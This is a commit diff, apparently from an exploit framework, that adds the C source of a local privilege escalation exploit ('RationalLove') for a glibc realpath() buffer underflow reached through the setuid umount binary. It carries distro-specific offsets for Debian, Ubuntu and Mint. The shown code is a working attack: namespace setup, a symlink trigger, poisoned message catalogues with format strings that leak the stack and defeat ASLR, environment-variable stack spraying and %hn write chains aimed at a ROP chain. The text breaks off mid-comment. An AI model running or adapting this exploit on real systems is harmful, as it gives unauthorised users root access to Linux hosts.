Land #10101, Add glibc 'realpath()' Privilege Escalation exploit
commit
29f4870fa0
Binary file not shown.
|
@ -0,0 +1,977 @@
|
|||
/** This software is provided by the copyright owner "as is" and any
|
||||
* expressed or implied warranties, including, but not limited to,
|
||||
* the implied warranties of merchantability and fitness for a particular
|
||||
* purpose are disclaimed. In no event shall the copyright owner be
|
||||
* liable for any direct, indirect, incidential, special, exemplary or
|
||||
* consequential damages, including, but not limited to, procurement
|
||||
* of substitute goods or services, loss of use, data or profits or
|
||||
* business interruption, however caused and on any theory of liability,
|
||||
* whether in contract, strict liability, or tort, including negligence
|
||||
* or otherwise, arising in any way out of the use of this software,
|
||||
* even if advised of the possibility of such damage.
|
||||
*
|
||||
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
||||
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
||||
*
|
||||
* This tool exploits a buffer underflow in glibc realpath()
|
||||
* and was tested against latest release from Debian, Ubuntu
|
||||
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
||||
* techniques. It uses relative binary offsets, that may be different
|
||||
* for various Linux distributions and builds. Please send me
|
||||
* a patch when you developed a new set of parameters to add
|
||||
* to the osSpecificExploitDataList structure and want to contribute
|
||||
* them.
|
||||
*
|
||||
* Compile: gcc -o RationalLove RationalLove.c
|
||||
* Run: ./RationalLove
|
||||
*
|
||||
* You may also use "--Pid" parameter, if you want to test the
|
||||
* program on already existing namespaced or chrooted mounts.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <poll.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define UMOUNT_ENV_VAR_COUNT 256
|
||||
|
||||
/** Dump that number of bytes from stack to perform anti-ASLR.
|
||||
* This number should be high enough to reproducible reach the
|
||||
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
||||
* environment variable references but low enough to avoid hitting
|
||||
* upper stack limit, which would cause a crash.
|
||||
*/
|
||||
#define STACK_LONG_DUMP_BYTES 4096
|
||||
|
||||
char *messageCataloguePreamble="Language: en\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n";
|
||||
|
||||
/** The pid of a namespace process with the working directory
|
||||
* at a writable /tmp only visible by the process. */
|
||||
pid_t namespacedProcessPid=-1;
|
||||
|
||||
int killNamespacedProcessFlag=1;
|
||||
|
||||
/** The pathname to the umount binary to execute. */
|
||||
char *umountPathname;
|
||||
|
||||
/** The pathname to the named pipe, that will synchronize umount
|
||||
* binary with supervisory process before triggering the second
|
||||
* and last exploitation phase.
|
||||
*/
|
||||
char *secondPhaseTriggerPipePathname;
|
||||
|
||||
/** The pathname to the second phase exploitation catalogue file.
|
||||
* This is needed as the catalogue cannot be sent via the trigger
|
||||
* pipe from above.
|
||||
*/
|
||||
char *secondPhaseCataloguePathname;
|
||||
|
||||
/** The OS-release detected via /etc/os-release. */
|
||||
char *osRelease=NULL;
|
||||
|
||||
/** This table contains all relevant information to adapt the
|
||||
* attack to supported Linux distros (fully updated) to support
|
||||
* also older versions, hash of umount/libc/libmount should be
|
||||
* used also for lookups.
|
||||
* The 4th string is an array of 4-byte integers with the offset
|
||||
* values for format string generation. Values specify:
|
||||
* * Stack position (in 8 byte words) for **argv
|
||||
* * Stack position of argv[0]
|
||||
* * Offset from __libc_start_main return position from main()
|
||||
* and system() function, first instruction after last sigprocmask()
|
||||
* before execve call.
|
||||
*/
|
||||
#define ED_STACK_OFFSET_CTX 0
|
||||
#define ED_STACK_OFFSET_ARGV 1
|
||||
#define ED_STACK_OFFSET_ARG0 2
|
||||
#define ED_LIBC_GETDATE_DELTA 3
|
||||
#define ED_LIBC_EXECL_DELTA 4
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Debian Stretch
|
||||
"\"9 (stretch)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"from_archive",
|
||||
// Delta for Debian Stretch "2.24-11+deb9u1"
|
||||
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
||||
"\"18.3 (Sylvia)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
NULL};
|
||||
|
||||
char **osReleaseExploitData=NULL;
|
||||
|
||||
/** Locate the umount binary within the given search path list,
|
||||
* elements separated by colons.
|
||||
* @return a pointer to a malloced memory region containing the
|
||||
* string or NULL if not found.
|
||||
*/
|
||||
char* findUmountBinaryPathname(char *searchPath) {
|
||||
char *testPathName=(char*)malloc(PATH_MAX);
|
||||
assert(testPathName);
|
||||
|
||||
while(*searchPath) {
|
||||
char *endPtr=strchr(searchPath, ':');
|
||||
int length=endPtr-searchPath;
|
||||
if(!endPtr) {
|
||||
length=strlen(searchPath);
|
||||
endPtr=searchPath+length-1;
|
||||
}
|
||||
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
||||
searchPath, "umount");
|
||||
if(result>=PATH_MAX) {
|
||||
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
||||
} else {
|
||||
struct stat statBuf;
|
||||
result=stat(testPathName, &statBuf);
|
||||
// Just assume, that umount is owner-executable. There might be
|
||||
// alternative ACLs, which grant umount execution only to selected
|
||||
// groups, but it would be unusual to have different variants
|
||||
// of umount located searchpath on the same host.
|
||||
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
||||
return(testPathName);
|
||||
}
|
||||
}
|
||||
searchPath=endPtr+1;
|
||||
}
|
||||
|
||||
free(testPathName);
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Get the value for a given field name.
|
||||
* @return NULL if not found, a malloced string otherwise.
|
||||
*/
|
||||
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
||||
int nameLength=strlen(fieldName);
|
||||
while(dataLength>0) {
|
||||
char *nextPos=memchr(releaseData, '\n', dataLength);
|
||||
int lineLength=dataLength;
|
||||
if(nextPos) {
|
||||
lineLength=nextPos-releaseData;
|
||||
nextPos++;
|
||||
} else {
|
||||
nextPos=releaseData+dataLength;
|
||||
}
|
||||
if((!strncmp(releaseData, fieldName, nameLength))&&
|
||||
(releaseData[nameLength]=='=')) {
|
||||
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
||||
}
|
||||
releaseData=nextPos;
|
||||
dataLength-=lineLength;
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Detect the release by reading the VERSION field from /etc/os-release.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int detectOsRelease() {
|
||||
int handle=open("/etc/os-release", O_RDONLY);
|
||||
if(handle<0)
|
||||
return(-1);
|
||||
|
||||
char *buffer=alloca(1024);
|
||||
int infoLength=read(handle, buffer, 1024);
|
||||
close(handle);
|
||||
if(infoLength<0)
|
||||
return(-1);
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
||||
if(!osRelease)
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
||||
if(osRelease) {
|
||||
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
||||
return(0);
|
||||
}
|
||||
|
||||
return(-1);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data in memory.
|
||||
* @return a pointer to newly allocated catalogue data memory
|
||||
*/
|
||||
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
||||
int stringCount, int *catalogueDataLength) {
|
||||
int contentLength=strlen(messageCataloguePreamble)+2;
|
||||
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
||||
contentLength+=strlen(origStringList[stringPos])+
|
||||
strlen(transStringList[stringPos])+2;
|
||||
}
|
||||
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
||||
char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
||||
memset(catalogueData, 0, preambleLength);
|
||||
int *preambleData=(int*)catalogueData;
|
||||
*preambleData++=0x950412de;
|
||||
preambleData++;
|
||||
*preambleData++=stringCount+1;
|
||||
*preambleData++=0x1c;
|
||||
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
||||
*preambleData++=0x5;
|
||||
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
||||
|
||||
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
||||
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
||||
// *preambleData++=(stringPos+1);
|
||||
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
||||
}
|
||||
*catalogueDataLength=preambleLength+contentLength;
|
||||
return(catalogueData);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data from the string lists and write
|
||||
* it to the given file.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int writeMessageCatalogue(char *pathName, char **origStringList,
|
||||
char **transStringList, int stringCount) {
|
||||
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
||||
if(catalogueFd<0) {
|
||||
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
||||
pathName);
|
||||
return(-1);
|
||||
}
|
||||
int catalogueDataLength;
|
||||
char *catalogueData=createMessageCatalogueData(
|
||||
origStringList, transStringList, stringCount, &catalogueDataLength);
|
||||
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
||||
assert(result==catalogueDataLength);
|
||||
close(catalogueFd);
|
||||
free(catalogueData);
|
||||
return(0);
|
||||
}
|
||||
|
||||
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
||||
char pathBuffer[PATH_MAX];
|
||||
int pathNameLength=0;
|
||||
while(1) {
|
||||
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
||||
if(nextPathSep) {
|
||||
pathNameLength=nextPathSep-pathName;
|
||||
} else {
|
||||
pathNameLength=strlen(pathName);
|
||||
}
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
||||
namespaceMountBaseDir, pathNameLength, pathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=mkdir(pathBuffer, 0755);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
if(!pathName[pathNameLength])
|
||||
break;
|
||||
pathNameLength++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/** This child function prepares the namespaced mount point and
|
||||
* then waits to be killed later on.
|
||||
*/
|
||||
static int usernsChildFunction() {
|
||||
while(geteuid()!=0) {
|
||||
sched_yield();
|
||||
}
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
||||
assert(!result);
|
||||
assert(!chdir("/tmp"));
|
||||
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
||||
assert(handle>=0);
|
||||
close(handle);
|
||||
sleep(100000);
|
||||
}
|
||||
|
||||
/** Prepare a process living in an own mount namespace and setup
|
||||
* the mount structure appropriately. The process is created
|
||||
* in a way allowing cleanup at program end by just killing it,
|
||||
* thus removing the namespace.
|
||||
* @return the pid of that process or -1 on error.
|
||||
*/
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
||||
|
||||
char *stackData=(char*)malloc(1<<20);
|
||||
assert(stackData);
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
||||
return(-1);
|
||||
}
|
||||
|
||||
char idMapFileName[128];
|
||||
char idMapData[128];
|
||||
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
||||
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
||||
assert(setGroupsFd>=0);
|
||||
int result=write(setGroupsFd, "deny", 4);
|
||||
assert(result>0);
|
||||
close(setGroupsFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
||||
int uidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(uidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getuid());
|
||||
result=write(uidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(uidMapFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
||||
int gidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(gidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getgid());
|
||||
result=write(gidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(gidMapFd);
|
||||
|
||||
// After setting the maps for the child process, the child may
|
||||
// start setting up the mount point. Wait for that to complete.
|
||||
sleep(1);
|
||||
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
||||
namespacedProcessPid);
|
||||
}
|
||||
|
||||
osReleaseExploitData=osSpecificExploitDataList;
|
||||
if(osRelease) {
|
||||
// If an OS was detected, try to find it in list. Otherwise use
|
||||
// default.
|
||||
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
||||
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
||||
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
assert(result<PATH_MAX);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer);
|
||||
assert(namespaceMountBaseDir);
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer);
|
||||
assert(!result||(errno==EEXIST));
|
||||
|
||||
// getdate will leave that string in rdi to become the filename
|
||||
// to execute for the next round.
|
||||
char *selfPathName=realpath("/proc/self/exe", NULL);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
||||
assert(handle>0);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
||||
selfPathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=write(handle, pathBuffer, result);
|
||||
close(handle);
|
||||
free(selfPathName);
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
|
||||
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
assert(stackDumpStr);
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
// We wrote allready 8 bytes, write so many more to produce a
|
||||
// count of 'L' and write that to the stack. As all writes so
|
||||
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
||||
// to write at least 4 bytes, which is longer than any "%hhx"
|
||||
// format string output. Hence do not care about the byte content
|
||||
// here. The target write address has a 16 byte alignment due
|
||||
// to varg structure.
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
||||
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
||||
STACK_LONG_DUMP_BYTES/16);
|
||||
*stackDumpStrEnd=0;
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3);
|
||||
assert(!result);
|
||||
free(stackDumpStr);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer);
|
||||
|
||||
free(namespaceMountBaseDir);
|
||||
return(namespacedProcessPid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/** Create the format string to write an arbitrary value to the
|
||||
* stack. The created format string avoids to interfere with
|
||||
* the complex fprintf format handling logic by accessing fprintf
|
||||
* internal state on stack. Thus the modification method does
|
||||
* not depend on that ftp internals. The current libc fprintf
|
||||
* implementation copies values for formatting before applying
|
||||
* the %n writes, therefore pointers changed by fprintf operation
|
||||
* can only be utilized with the next fprintf invocation. As
|
||||
* we cannot rely on a stack having a suitable number of pointers
|
||||
* ready for arbitrary writes, we need to create those pointers
|
||||
* one by one. Everything needed is pointer on stack pointing
|
||||
* to another valid pointer and 4 helper pointers pointing to
|
||||
* writeable memory. The **argv list matches all those requirements.
|
||||
* @param printfArgvValuePos the position of the argv pointer from
|
||||
* printf format string view.
|
||||
* @param argvStackAddress the address of the argv list, where
|
||||
* the argv[0] pointer can be read.
|
||||
* @param printfArg0ValuePos the position of argv list containing
|
||||
* argv[0..n] pointers.
|
||||
* @param mainFunctionReturnAddress the address on stack where
|
||||
* the return address from the main() function to _libc_start()
|
||||
* is stored.
|
||||
* @param writeValue the value to write to mainFunctionReturnAddress
|
||||
*/
|
||||
void createStackWriteFormatString(
|
||||
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
||||
void *argvStackAddress, int printfArg0ValuePos,
|
||||
void *mainFunctionReturnAddress, unsigned short *writeData,
|
||||
int writeDataLength) {
|
||||
int result=0;
|
||||
int currentValue=-1;
|
||||
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
||||
// Find the lowest value to write.
|
||||
nextWriteValue=0x10000;
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
int value=writeData[valuePos];
|
||||
if((value>currentValue)&&(value<nextWriteValue))
|
||||
nextWriteValue=value;
|
||||
}
|
||||
if(currentValue<0)
|
||||
currentValue=0;
|
||||
if(currentValue!=nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
||||
nextWriteValue-currentValue);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
currentValue=nextWriteValue;
|
||||
}
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
if(writeData[valuePos]==nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Print the return function address location number of bytes
|
||||
// except 8 (those from the LABEL counter) and write the value
|
||||
// to arg1.
|
||||
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
||||
writeCount, writeCount, printfArg0ValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
||||
writeCount, writeCount, printfArgvValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Append a debugging preamble.
|
||||
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
||||
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
||||
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
||||
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
|
||||
|
||||
/** Wait for the trigger pipe to open. The pipe will be closed
|
||||
* immediately after opening it.
|
||||
* @return 0 when the pipe was opened before hitting a timeout.
|
||||
*/
|
||||
int waitForTriggerPipeOpen(char *pipeName) {
|
||||
struct timespec startTime, currentTime;
|
||||
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
||||
startTime.tv_sec+=10;
|
||||
assert(!result);
|
||||
while(1) {
|
||||
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
||||
if(pipeFd>=0) {
|
||||
close(pipeFd);
|
||||
break;
|
||||
}
|
||||
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
||||
if(currentTime.tv_sec>startTime.tv_sec) {
|
||||
return(-1);
|
||||
}
|
||||
currentTime.tv_sec=0;
|
||||
currentTime.tv_nsec=100000000;
|
||||
nanosleep(¤tTime, NULL);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
/** Invoke umount to gain root privileges.
|
||||
* @return 0 if the umount process terminated with expected exit
|
||||
* status.
|
||||
*/
|
||||
int attemptEscalation() {
|
||||
int escalationSuccess=-1;
|
||||
|
||||
char targetCwd[64];
|
||||
snprintf(
|
||||
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
||||
|
||||
int pipeFds[2];
|
||||
int result=pipe(pipeFds);
|
||||
assert(!result);
|
||||
|
||||
pid_t childPid=fork();
|
||||
assert(childPid>=0);
|
||||
if(!childPid) {
|
||||
// This is the child process.
|
||||
close(pipeFds[0]);
|
||||
fprintf(stderr, "Starting subprocess\n");
|
||||
dup2(pipeFds[1], 1);
|
||||
dup2(pipeFds[1], 2);
|
||||
close(pipeFds[1]);
|
||||
result=chdir(targetCwd);
|
||||
assert(!result);
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
assert(umountEnv);
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X";
|
||||
}
|
||||
// Use the built-in C locale.
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
assert(!result);
|
||||
}
|
||||
close(pipeFds[1]);
|
||||
int childStdout=pipeFds[0];
|
||||
|
||||
int escalationPhase=0;
|
||||
char readBuffer[1024];
|
||||
int readDataLength=0;
|
||||
char stackData[STACK_LONG_DUMP_BYTES];
|
||||
int stackDataBytes=0;
|
||||
|
||||
struct pollfd pollFdList[1];
|
||||
pollFdList[0].fd=childStdout;
|
||||
pollFdList[0].events=POLLIN;
|
||||
|
||||
// Now learn about the binary, prepare data for second exploitation
|
||||
// phase. The phases should be:
|
||||
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
||||
// file to be read, that contains a poisonous format string.
|
||||
// Successful poisoning results in writing of 8*'A' preamble,
|
||||
// we are looking for to indicate end of this phase.
|
||||
// * 1: The poisoned process writes out stack content to defeat
|
||||
// ASLR. Reading all relevant stack end this phase.
|
||||
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
||||
// thus triggering re-read of util-linux.mo. To avoid races,
|
||||
// we let umount open a named pipe, thus blocking execution.
|
||||
// As soon as the pipe is ready for writing, we write a modified
|
||||
// version of util-linux.mo to another file because the pipe
|
||||
// cannot be used for sending the content.
|
||||
// * 3: We read umount output to avoid blocking the process and
|
||||
// wait for it to ROP execute fchown/fchmod and exit.
|
||||
while(1) {
|
||||
if(escalationPhase==2) {
|
||||
// We cannot use the standard poll from below to monitor the pipe,
|
||||
// but also we do not want to block forever. Wait for the pipe
|
||||
// in nonblocking mode and then continue with next phase.
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
if(result) {
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
if(!result) {
|
||||
// We ran into a timeout. This might be the result of a deadlocked
|
||||
